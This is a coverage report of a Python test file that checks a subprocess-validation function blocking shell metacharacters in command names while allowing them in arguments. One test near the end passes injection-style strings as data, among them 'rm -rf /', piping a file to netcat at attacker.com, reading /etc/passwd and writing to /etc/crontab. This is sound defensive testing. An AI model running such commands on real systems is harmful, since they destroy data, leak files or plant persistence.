Coverage for tests / unit / security / test_subprocess_injection.py: 100%
77 statements
« prev ^ index » next coverage.py v7.13.0, created at 2026-04-03 18:53 +0000
« prev ^ index » next coverage.py v7.13.0, created at 2026-04-03 18:53 +0000
1"""Tests for subprocess command injection prevention.
3These tests verify that the subprocess command validation properly blocks
4shell metacharacters in the command name while allowing them in arguments
5(since shell=False passes arguments literally without shell interpretation).
6"""
8from __future__ import annotations
10import pytest
11from assertpy import assert_that
13from lintro.plugins.subprocess_executor import (
14 UNSAFE_SHELL_CHARS,
15 validate_subprocess_command,
16)
18# =============================================================================
19# Tests for UNSAFE_SHELL_CHARS constant
20# =============================================================================
23def test_unsafe_chars_is_frozenset() -> None:
24 """Verify UNSAFE_SHELL_CHARS is immutable (frozenset)."""
25 assert_that(UNSAFE_SHELL_CHARS).is_instance_of(frozenset)
28def test_unsafe_chars_contains_command_chaining_chars() -> None:
29 """Verify command chaining characters are blocked."""
30 chaining_chars = {";", "&", "|"}
31 for char in chaining_chars:
32 assert_that(UNSAFE_SHELL_CHARS).contains(char)
35def test_unsafe_chars_contains_redirection_chars() -> None:
36 """Verify redirection characters are blocked."""
37 redirection_chars = {">", "<"}
38 for char in redirection_chars:
39 assert_that(UNSAFE_SHELL_CHARS).contains(char)
42def test_unsafe_chars_contains_command_substitution_chars() -> None:
43 """Verify command substitution characters are blocked."""
44 substitution_chars = {"`", "$"}
45 for char in substitution_chars:
46 assert_that(UNSAFE_SHELL_CHARS).contains(char)
49def test_unsafe_chars_contains_escape_chars() -> None:
50 """Verify escape and control characters are blocked."""
51 escape_chars = {"\\", "\n", "\r"}
52 for char in escape_chars:
53 assert_that(UNSAFE_SHELL_CHARS).contains(char)
56def test_unsafe_chars_contains_glob_chars() -> None:
57 """Verify glob pattern characters are blocked."""
58 glob_chars = {"*", "?", "[", "]"}
59 for char in glob_chars:
60 assert_that(UNSAFE_SHELL_CHARS).contains(char)
63def test_unsafe_chars_contains_brace_expansion_chars() -> None:
64 """Verify brace and subshell expansion characters are blocked."""
65 brace_chars = {"{", "}", "(", ")"}
66 for char in brace_chars:
67 assert_that(UNSAFE_SHELL_CHARS).contains(char)
70def test_unsafe_chars_contains_other_shell_chars() -> None:
71 """Verify other shell special characters are blocked."""
72 other_chars = {"~", "!"}
73 for char in other_chars:
74 assert_that(UNSAFE_SHELL_CHARS).contains(char)
77# =============================================================================
78# Tests for validate_subprocess_command function
79# =============================================================================
82def test_validate_subprocess_command_valid_simple_command() -> None:
83 """Verify simple command passes validation."""
84 validate_subprocess_command(["echo", "hello"])
85 # No exception raised
88def test_validate_subprocess_command_valid_command_with_flags() -> None:
89 """Verify command with flags passes validation."""
90 validate_subprocess_command(["ls", "-la", "--color=auto"])
91 # No exception raised
94def test_validate_subprocess_command_valid_command_with_path() -> None:
95 """Verify command with file path passes validation."""
96 validate_subprocess_command(["cat", "/path/to/file.txt"])
97 # No exception raised
100def test_validate_subprocess_command_empty_command_raises() -> None:
101 """Verify empty command raises ValueError."""
102 with pytest.raises(ValueError, match="non-empty list"):
103 validate_subprocess_command([])
106def test_validate_subprocess_command_none_command_raises() -> None:
107 """Verify None command raises ValueError."""
108 with pytest.raises(ValueError, match="non-empty list"):
109 validate_subprocess_command(None) # type: ignore[arg-type]
112def test_validate_subprocess_command_string_command_raises() -> None:
113 """Verify string command (not list) raises ValueError."""
114 with pytest.raises(ValueError, match="non-empty list"):
115 validate_subprocess_command("ls -la") # type: ignore[arg-type]
118def test_validate_subprocess_command_non_string_argument_raises() -> None:
119 """Verify non-string argument raises ValueError."""
120 with pytest.raises(ValueError, match="must be strings"):
121 validate_subprocess_command(["ls", 123]) # type: ignore[list-item]
124# =============================================================================
125# Tests for unsafe characters in COMMAND NAME (should raise)
126# =============================================================================
129@pytest.mark.parametrize(
130 ("char", "description"),
131 [
132 pytest.param(";", "semicolon command separator", id="semicolon"),
133 pytest.param("&", "ampersand background/AND", id="ampersand"),
134 pytest.param("|", "pipe", id="pipe"),
135 pytest.param(">", "output redirection", id="redirect_out"),
136 pytest.param("<", "input redirection", id="redirect_in"),
137 pytest.param("`", "backtick command substitution", id="backtick"),
138 pytest.param("$", "variable expansion", id="dollar"),
139 pytest.param("\\", "escape character", id="backslash"),
140 pytest.param("\n", "newline", id="newline"),
141 pytest.param("\r", "carriage return", id="carriage_return"),
142 pytest.param("*", "glob wildcard", id="asterisk"),
143 pytest.param("?", "single char wildcard", id="question"),
144 pytest.param("[", "character class start", id="bracket_open"),
145 pytest.param("]", "character class end", id="bracket_close"),
146 pytest.param("{", "brace expansion start", id="brace_open"),
147 pytest.param("}", "brace expansion end", id="brace_close"),
148 pytest.param("(", "subshell start", id="paren_open"),
149 pytest.param(")", "subshell end", id="paren_close"),
150 pytest.param("~", "home expansion", id="tilde"),
151 pytest.param("!", "history expansion", id="exclamation"),
152 ],
153)
154def test_validate_subprocess_command_unsafe_char_in_command_name_raises(
155 char: str,
156 description: str,
157) -> None:
158 """Verify each unsafe character in command name is blocked.
160 Args:
161 char: The unsafe character to test.
162 description: Human-readable description of the character.
163 """
164 with pytest.raises(ValueError, match="Unsafe character"):
165 validate_subprocess_command([f"cmd{char}name", "arg"])
168def test_validate_subprocess_command_injection_in_command_name() -> None:
169 """Verify command injection in command name is blocked."""
170 with pytest.raises(ValueError, match="Unsafe character"):
171 validate_subprocess_command(["ls;rm", "-la"])
174# =============================================================================
175# Tests for unsafe characters in ARGUMENTS (should NOT raise with shell=False)
176# =============================================================================
179@pytest.mark.parametrize(
180 ("char", "description"),
181 [
182 pytest.param(";", "semicolon command separator", id="semicolon"),
183 pytest.param("&", "ampersand background/AND", id="ampersand"),
184 pytest.param("|", "pipe", id="pipe"),
185 pytest.param(">", "output redirection", id="redirect_out"),
186 pytest.param("<", "input redirection", id="redirect_in"),
187 pytest.param("`", "backtick command substitution", id="backtick"),
188 pytest.param("$", "variable expansion", id="dollar"),
189 pytest.param("\\", "escape character", id="backslash"),
190 pytest.param("*", "glob wildcard", id="asterisk"),
191 pytest.param("?", "single char wildcard", id="question"),
192 pytest.param("[", "character class start", id="bracket_open"),
193 pytest.param("]", "character class end", id="bracket_close"),
194 pytest.param("{", "brace expansion start", id="brace_open"),
195 pytest.param("}", "brace expansion end", id="brace_close"),
196 pytest.param("(", "subshell start", id="paren_open"),
197 pytest.param(")", "subshell end", id="paren_close"),
198 pytest.param("~", "home expansion", id="tilde"),
199 pytest.param("!", "history expansion", id="exclamation"),
200 ],
201)
202def test_validate_subprocess_command_special_char_in_argument_allowed(
203 char: str,
204 description: str,
205) -> None:
206 """Verify special characters in arguments are allowed with shell=False.
208 Since lintro always uses shell=False, arguments are passed literally to
209 the subprocess without shell interpretation. This allows legitimate use
210 of special characters in file paths, glob patterns, and tool-specific
211 syntax (e.g., Semgrep metavariables like $X).
213 Args:
214 char: The special character to test.
215 description: Human-readable description of the character.
216 """
217 # Should NOT raise - special chars in args are safe with shell=False
218 validate_subprocess_command(["echo", f"arg{char}value"])
221def test_validate_subprocess_command_glob_pattern_in_argument_allowed() -> None:
222 """Verify glob patterns in arguments are allowed."""
223 # Common use case: passing include/exclude patterns to tools
224 validate_subprocess_command(["semgrep", "--include", "*.py"])
225 validate_subprocess_command(["ruff", "check", "src/**/*.py"])
228def test_validate_subprocess_command_template_path_allowed() -> None:
229 """Verify template paths with special chars are allowed."""
230 # Common use case: Jinja2 templates, cookiecutter directories
231 validate_subprocess_command(["cat", "templates/{{cookiecutter.name}}/file.py"])
234def test_validate_subprocess_command_variable_syntax_allowed() -> None:
235 """Verify tool-specific variable syntax is allowed."""
236 # Common use case: Semgrep metavariables
237 validate_subprocess_command(["semgrep", "--pattern", "$X = $Y"])
240def test_validate_subprocess_command_dollar_in_filename_allowed() -> None:
241 """Verify filenames with $ are allowed."""
242 # Some projects have files with $ in names
243 validate_subprocess_command(["cat", "test_$var.py"])
246def test_validate_subprocess_command_shell_injection_args_safe_with_shell_false() -> (
247 None
248):
249 """Verify shell injection attempts in args are safe with shell=False.
251 These would be dangerous with shell=True, but are harmless with shell=False
252 as the arguments are passed directly to the executable without
253 shell interpretation.
254 """
255 # These look like injection attempts but are safe with shell=False
256 validate_subprocess_command(["ls", "-la; rm -rf /"])
257 validate_subprocess_command(["cat", "file | nc attacker.com 1234"])
258 validate_subprocess_command(["echo", "`whoami`"])
259 validate_subprocess_command(["echo", "$(cat /etc/passwd)"])
260 validate_subprocess_command(["echo", "data > /etc/crontab"])